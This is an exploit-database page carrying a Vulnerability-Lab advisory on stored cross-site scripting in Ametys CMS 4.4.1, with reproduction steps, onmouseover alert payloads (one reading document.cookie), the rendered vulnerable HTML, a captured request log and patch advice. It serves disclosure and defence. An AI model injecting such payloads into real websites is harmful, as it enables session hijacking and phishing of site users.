
17 changes to exploits/shellcodes CONTPAQi(R) AdminPAQ 14.0.0 - Unquoted Service Path Mozilla Firefox 67 - Array.pop JIT Type Confusion Fetch Softworks Fetch FTP Client 5.8 - Remote CPU Consumption (Denial of Service) Ametys CMS v4.4.1 - Cross Site Scripting (XSS) uBidAuction v2.0.1 - 'Multiple' Cross Site Scripting (XSS) Chamilo LMS 1.11.14 - Account Takeover Wordpress Plugin Download Monitor WordPress V 4.4.4 - SQL Injection (Authenticated) WordPress Plugin Domain Check 1.0.16 - Reflected Cross-Site Scripting (XSS) (Authenticated) Wordpress Plugin 404 to 301 2.0.2 - SQL-Injection (Authenticated) PHP Restaurants 1.0 - SQLi (Unauthenticated) Moodle 3.11.4 - SQL Injection Huawei DG8045 Router 1.0 - Credential Disclosure PHP Unit 4.8.28 - Remote Code Execution (RCE) (Unauthenticated) WordPress Plugin Contact Form Check Tester 1.0.2 - Broken Access Control WordPress Plugin Product Slider for WooCommerce 1.13.21 - Cross Site Scripting (XSS) WordPress Plugin Post Grid 2.1.1 - Cross Site Scripting (XSS) WordPress Plugin Learnpress 4.1.4.1 - Arbitrary Image Renaming
255 lines
No EOL
11 KiB
Text
255 lines
No EOL
11 KiB
Text
# Exploit Title: Ametys CMS v4.4.1 - Cross Site Scripting (XSS)
|
|
# Exploit Author: Vulnerability-Lab
|
|
# Date: 21/01/2022
|
|
|
|
|
|
Document Title:
|
|
===============
|
|
Ametys v4.4.1 CMS - Cross Site Scripting Vulnerability
|
|
|
|
|
|
References (Source):
|
|
====================
|
|
https://www.vulnerability-lab.com/get_content.php?id=2275
|
|
|
|
|
|
Release Date:
|
|
=============
|
|
2022-01-12
|
|
|
|
|
|
Vulnerability Laboratory ID (VL-ID):
|
|
====================================
|
|
2275
|
|
|
|
|
|
Common Vulnerability Scoring System:
|
|
====================================
|
|
5.2
|
|
|
|
|
|
Vulnerability Class:
|
|
====================
|
|
Cross Site Scripting - Persistent
|
|
|
|
|
|
Current Estimated Price:
|
|
========================
|
|
500€ - 1.000€
|
|
|
|
|
|
Product & Service Introduction:
|
|
===============================
|
|
Build powerful and stunning websites. Whether you need an advanced corporate website, a powerful landing page, a professionnal blog or
|
|
an event website, all the tools to make creative digital experiences are at your fingertips with Ametys. No coding skills needed.
|
|
Ametys make it easy for everyone to create and manage unified digital platform. Ametys delivers simple and intuitive interface with
|
|
a familiar ribbon Office style interface.
|
|
|
|
(Copy of the Homepage:https://www.ametys.org/community/en/ametys-platform/ametys-portal/overview.html )
|
|
|
|
|
|
Abstract Advisory Information:
|
|
==============================
|
|
The vulnerability laboratory core research team discovered a persistent input validation web vulnerability in the Ametys v4.4.1 cms web-application.
|
|
|
|
|
|
Affected Product(s):
|
|
====================
|
|
Ametys
|
|
Product: Ametys v4.4.1 - Content Management System (Web-Application)
|
|
|
|
|
|
Vulnerability Disclosure Timeline:
|
|
==================================
|
|
2021-07-24: Researcher Notification & Coordination (Security Researcher)
|
|
2021-07-25: Vendor Notification (Security Department)
|
|
2021-**-**: Vendor Response/Feedback (Security Department)
|
|
2021-**-**: Vendor Fix/Patch (Service Developer Team)
|
|
2021-**-**: Security Acknowledgements (Security Department)
|
|
2022-01-12: Public Disclosure (Vulnerability Laboratory)
|
|
|
|
|
|
Discovery Status:
|
|
=================
|
|
Published
|
|
|
|
|
|
Exploitation Technique:
|
|
=======================
|
|
Remote
|
|
|
|
|
|
Severity Level:
|
|
===============
|
|
Medium
|
|
|
|
|
|
Authentication Type:
|
|
====================
|
|
Restricted Authentication (User Privileges)
|
|
|
|
|
|
User Interaction:
|
|
=================
|
|
Low User Interaction
|
|
|
|
|
|
Disclosure Type:
|
|
================
|
|
Responsible Disclosure
|
|
|
|
|
|
Technical Details & Description:
|
|
================================
|
|
A persistent script code injection web vulnerability has been discovered in the official Ametys v4.4.1 cms web-application.
|
|
The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise
|
|
browser to web-application requests from the application-side.
|
|
|
|
The vulnerability is located in the input fields of the link text, small description and description in the add external link function.
|
|
The function is for example located in the link directory of the backend. Added links are listed with status and details.
|
|
Attackers with low privileges are able to add own malformed link with malicious script code in the marked vulnerable parameters.
|
|
After the inject the links are being displayed in the backend were the execute takes place on preview of the main link directory.
|
|
The attack vector of the vulnerability is persistent and the request method to inject is post.
|
|
|
|
Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external redirects
|
|
to malicious source and persistent manipulation of affected application modules.
|
|
|
|
Request Method(s):
|
|
[+] POST
|
|
|
|
Vulnerable Module(s):
|
|
[+] Link Directory (Add)
|
|
|
|
Vulnerable Function(s):
|
|
[+] add (External Link)
|
|
|
|
Vulnerable Parameter(s):
|
|
[+] Link Text
|
|
[+] Small description
|
|
[+] Description
|
|
|
|
Affected Module(s):
|
|
[+] Frontend (Main Link Listing)
|
|
[+] Backend (Link Directory)
|
|
|
|
|
|
Proof of Concept (PoC):
|
|
=======================
|
|
The persistent web vulnerability can be exploited by remote attackers with low privilged user accounts with low user interaction.
|
|
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.
|
|
|
|
|
|
Manual steps to reproduce the vulnerability ...
|
|
1. Open the application path and login to the service as restricted user that allowed to create links
|
|
2. Open the link directory and create a new link (top|left)
|
|
3. Inject the test payloads to the link text, small description and description and save via post
|
|
4. On visit of the link directory the payloads executes in the backend listing or frontend
|
|
5. Successful reproduce of the persistent web vulnerability!
|
|
|
|
|
|
Payload(s):
|
|
<a onmouseover=alert(document.domain)>poc_link</a>
|
|
<a onmouseover=alert(document.cookie)>poc_link</a>
|
|
|
|
|
|
Vulnerable Source: Link Directory - Link (Add)
|
|
class="x-grid-cell-inner " style="text-align:left;"
|
|
<a onmouseover="alert(document.domain)">poc_link</a></div></td><td class="x-grid-cell x-grid-td x-grid-cell-gridcolumn-7478 x-unselectable"
|
|
style="width: 248px;" role="gridcell" tabindex="-1" data-columnid="gridcolumn-7478"><div unselectable="on" class="x-grid-cell-inner "
|
|
style="text-align:left;"><a onmouseover="alert(document.domain)">poc_link</a></div></td><td class="x-grid-cell x-grid-td x-grid-cell-gridcolumn-7479
|
|
x-unselectable" style="width: 247px;" role="gridcell" tabindex="-1" data-columnid="gridcolumn-7479"><div unselectable="on" class="x-grid-cell-inner "
|
|
style="text-align:left;"> </div></td><td class="x-grid-cell x-grid-td x-grid-cell-gridcolumn-7480 x-grid-cell-last x-unselectable" style="width:
|
|
148px;" role="gridcell" tabindex="-1" data-columnid="gridcolumn-7480"><div unselectable="on" class="x-grid-cell-inner " style="text-align:left;">
|
|
</div></td></tr></tbody></table><table id="tableview-7474-record-105" role="presentation" data-boundview="tableview-7474" data-recordid="105"
|
|
data-recordindex="1" class="x-grid-item x-grid-item-selected x-grid-item-alt" style=";width:0" cellspacing="0" cellpadding="0"><tbody><tr class="
|
|
x-grid-row" role="row"><td class="x-grid-cell x-grid-td x-grid-cell-gridcolumn-7475 x-grid-cell-first x-unselectable" style="width: 396px;"
|
|
role="gridcell" tabindex="-1" data-columnid="gridcolumn-7475"><div unselectable="on" class="x-grid-cell-inner " style="text-align:left;">
|
|
<span class="a-grid-glyph ametysicon-link23"></span>test.de</div></td><td class="x-grid-cell x-grid-td x-grid-cell-gridcolumn-7476 x-unselectable"
|
|
style="width: 149px;" role="gridcell" tabindex="-1" data-columnid="gridcolumn-7476"><div unselectable="on" class="x-grid-cell-inner "
|
|
style="text-align:left;">Normal</div></td>
|
|
|
|
|
|
--- PoC Session Logs (POST) ---
|
|
https://ametys.localhost:8000.localhost:8000/cms/plugins/core-ui/servercomm/messages.xml
|
|
Host: ametys.localhost:8000.localhost:8000
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
|
|
Accept: */*
|
|
Accept-Language: de,en-US;q=0.7,en;q=0.3
|
|
Accept-Encoding: gzip, deflate, br
|
|
X-Requested-With: XMLHttpRequest
|
|
Content-Type: multipart/form-data; boundary=---------------------------1197812616356669894551519312
|
|
Content-Length: 798
|
|
Origin: https://ametys.localhost:8000.localhost:8000
|
|
Connection: keep-alive
|
|
Referer: https://ametys.localhost:8000.localhost:8000/cms/www/index.html
|
|
Cookie: JSESSIONID=A1DC067A1739FDFBC72BCF921A5AA655;
|
|
AmetysAuthentication=YW1ldHlzX2RlbW9fdXNlcnMjd2VibWFzdGVyI1A5WndHNTNzNmJhYlRWSDI;
|
|
JSESSIONID=A0EC6E56FC3A2131C9D24C33CB9CCAAA
|
|
Sec-Fetch-Dest: empty
|
|
Sec-Fetch-Mode: cors
|
|
Sec-Fetch-Site: same-origin
|
|
content={"0":{"pluginOrWorkspace":"core-ui","responseType":"xml","url":"system-announcement/view.xml"},"1":
|
|
{"pluginOrWorkspace":"core-ui","responseType":"xml","url":"system-startuptime.xml"}}&context.parameters=
|
|
{"siteName":"www","skin":"demo","debug.mode":"false","populationContexts":["/sites/www","/sites-fo/www"],"user":
|
|
{"login":"testuser_restricted","population":"ametys_demo_users","firstname":"testuser_restricted","lastname":"User","fullname":"testuser_restricted User",
|
|
"email":"testuser_restricted@test.com","populationLabel":"Ametys Demo Users","locale":"en"}}
|
|
-
|
|
POST: HTTP/1.1 200
|
|
Server: Apache/2.4.29 (Ubuntu)
|
|
X-Cocoon-Version: 2.1.13
|
|
Ametys-Dispatched: true
|
|
Content-Type: text/xml
|
|
Via: 1.1 ametys.localhost:8000.localhost:8000
|
|
Vary: Accept-Encoding
|
|
Content-Encoding: gzip
|
|
Keep-Alive: timeout=5, max=100
|
|
Connection: Keep-Alive
|
|
Transfer-Encoding: chunked
|
|
Content-Language: fr
|
|
|
|
|
|
Solution - Fix & Patch:
|
|
=======================
|
|
The vulnerability can be patched by a secure parse and encode of the input fields in the external link add function of the link directory.
|
|
In a second step the input fields can be restricted for special chars to prevent further attacks.
|
|
As next step the output location were the links are being displayed (frontend & backend) should to be sanitized correctly.
|
|
|
|
|
|
Security Risk:
|
|
==============
|
|
The security risk of the persistent input validation web vulnerability in the ametys web-application cms is estimated as medium.
|
|
|
|
|
|
Credits & Authors:
|
|
==================
|
|
Vulnerability-Lab [Research Team] -https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
|
|
|
|
|
|
Disclaimer & Information:
|
|
=========================
|
|
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties,
|
|
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab
|
|
or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits
|
|
or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do
|
|
not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.
|
|
We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.
|
|
|
|
Domains:www.vulnerability-lab.com www.vuln-lab.com www.vulnerability-db.com
|
|
Services: magazine.vulnerability-lab.com paste.vulnerability-db.com infosec.vulnerability-db.com
|
|
Social: twitter.com/vuln_lab facebook.com/VulnerabilityLab youtube.com/user/vulnerability0lab
|
|
Feeds: vulnerability-lab.com/rss/rss.php vulnerability-lab.com/rss/rss_upcoming.php vulnerability-lab.com/rss/rss_news.php
|
|
Programs: vulnerability-lab.com/submit.php vulnerability-lab.com/register.php vulnerability-lab.com/list-of-bug-bounty-programs.php
|
|
|
|
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
|
|
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
|
|
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other
|
|
information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or
|
|
edit our material contact (admin@ or research@) to get a ask permission.
|
|
|
|
Copyright © 2022 | Vulnerability Laboratory - [Evolution Security GmbH]™
|
|
|
|
|
|
|
|
--
|
|
VULNERABILITY LABORATORY (VULNERABILITY LAB)
|
|
RESEARCH, BUG BOUNTY & RESPONSIBLE DISCLOSURE |